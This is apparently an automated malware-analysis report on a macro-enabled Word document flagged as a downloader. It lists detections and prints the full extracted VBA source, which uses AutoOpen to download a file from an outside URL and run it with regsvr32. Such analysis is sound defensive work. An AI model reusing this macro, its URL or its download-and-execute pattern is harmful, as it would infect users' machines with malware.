Malware Insights
The sample is an Office document containing VBA macros, specifically an AutoOpen macro that executes code. The VBA script uses URLDownloadToFile to download a file from 'http://centruldeinfoliere.ro/_qRlDMkyWtPIbz7M5.php?x=MDAwMSDKSoJE5lV1GKwb4Ub-pzqjnaQZjzWFvlOnWNYSs9gYKoCD5q1mXjEObRFguTFtWGu6AKCDSBglzHJ-vYeohvLg55dXJ5Zue890q8jHP2jdoP1Tww5YIL58J7-m0i2BPW9hrbOVFEUAgh9TOtEJzQ~~' to 'c:\programdata\1.dat'. Subsequently, it executes this downloaded file using 'regsvr32 c:\programdata\1.dat', indicating a downloader or droppper functionality.
Heuristics 7
-
ClamAV: Doc.Downloader.GreenBox6-9139694-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.GreenBox6-9139694-0
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOADURLDownloadToFile in VBAMatched line in script
#If VBA7 And Win64 Then Public Declare PtrSafe Function CN Lib "urlmon" Alias "URLDownloadToFileA" (ByVal TM As LongPtr, ByVal kY As String, ByVal q5 As String, ByVal OZ As LongPtr, ByVal lk As LongPtr) As Long #Else -
LOLBin reference in VBA critical OLE_VBA_LOLBINLOLBin reference in VBAMatched line in script
Dim y4 As New WshShell y4.exec "regsvr32 c:\programdata\1.dat" -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "yC" Sub autoopen() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://centruldeinfoliere.ro/_qRlDMkyWtPIbz7M5.php?x=MDAwMSDKSoJE5lV1GKwb4Ub-pzqjnaQZjzWFvlOnWNYSs9gYKoCD5q1mXjEObRFguTFtWGu6AKCDSBglzHJ-vYeohvLg55dXJ5Zue890q8jHP2jdoP1Tww5YIL58J7-m0i2BPW9hrbOVFEUAgh9TOtEJzQ~~ Referenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
- http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
- http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
- http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
- http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
- http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
- http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2428 bytes |
SHA-256: 1010c0f958b1124ea7a54bdb320f9ed24438ac6e23133003b88aa3f24f735d37 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "yC" Sub autoopen() ' Dumfounded widely di ' Raillery villainy ghent insuperable muslims ' Clerk rachel ' Danger tabs VL = CN(0, "http://centruldeinfoliere.ro/_qRlDMkyWtPIbz7M5.php?x=MDAwMSDKSoJE5lV1GKwb4Ub-pzqjnaQZjzWFvlOnWNYSs9gYKoCD5q1mXjEObRFguTFtWGu6AKCDSBglzHJ-vYeohvLg55dXJ5Zue890q8jHP2jdoP1Tww5YIL58J7-m0i2BPW9hrbOVFEUAgh9TOtEJzQ~~", "c:\programdata\1.dat", 0, 0) ' Bryant sickle hydraulic ' Homogeneous pie rut found number ' Commit allie shuttle D End Sub Attribute VB_Name = "yC1" Sub D() ' Unconcerned appear accounts ballet sides auditorium ' Zulu advantage ' Chapman addresses pinnacle ' Acoustic whilst ' Midnight signs practices itself ' Cincinnati establishment fiber charter bile ' Crypt ' Quantitative opera mba ' Hitting phonograph smoothness invisibly ' Viceroy upheaval ' Monty digits hale ' Falling pumped assimilate administrator ' Sh prepared educational malt inflammatory ' Nickel flashing expanding comparison artificially powerful ' Important ' Odorous ' Divisible pelt warm-hearted contract conserve ' Bbs palaver ' Classic presentation ' Watch hops lanka ' Locally ' World-wide banned fu une ' Punt committed feels basics propagation reprieve ' Cabinets ' Jeremy incantation distract ' Prior resulting ' Portfolio fume ' Would-be ' Reversal decipher vaudeville basin ' Perry algorithm Dim y4 As New WshShell y4.exec "regsvr32 c:\programdata\1.dat" ' Screen tb coll ' Thyme scheduling sw giant infatuation ' Pi municipality disruption ' Productive ' Yawn sahib passageway budapest itd End Sub Attribute VB_Name = "GE" #If VBA7 And Win64 Then Public Declare PtrSafe Function CN Lib "urlmon" Alias "URLDownloadToFileA" (ByVal TM As LongPtr, ByVal kY As String, ByVal q5 As String, ByVal OZ As LongPtr, ByVal lk As LongPtr) As Long #Else Public Declare Function CN Lib "urlmon" Alias "URLDownloadToFileA"(ByVal TM As Long, ByVal kY As String, ByVal q5 As String, ByVal OZ As Long, ByVal lk As Long) As Long #End If Function ux(yK) ' Newer jeffrey pole imprint ' Lethargic silurian lucid ' Mix End Function |
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 20480 bytes |
SHA-256: c58350bf9b838822f9502d9f35ce36f62fe05b765ec8a96902c41637609dad97 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.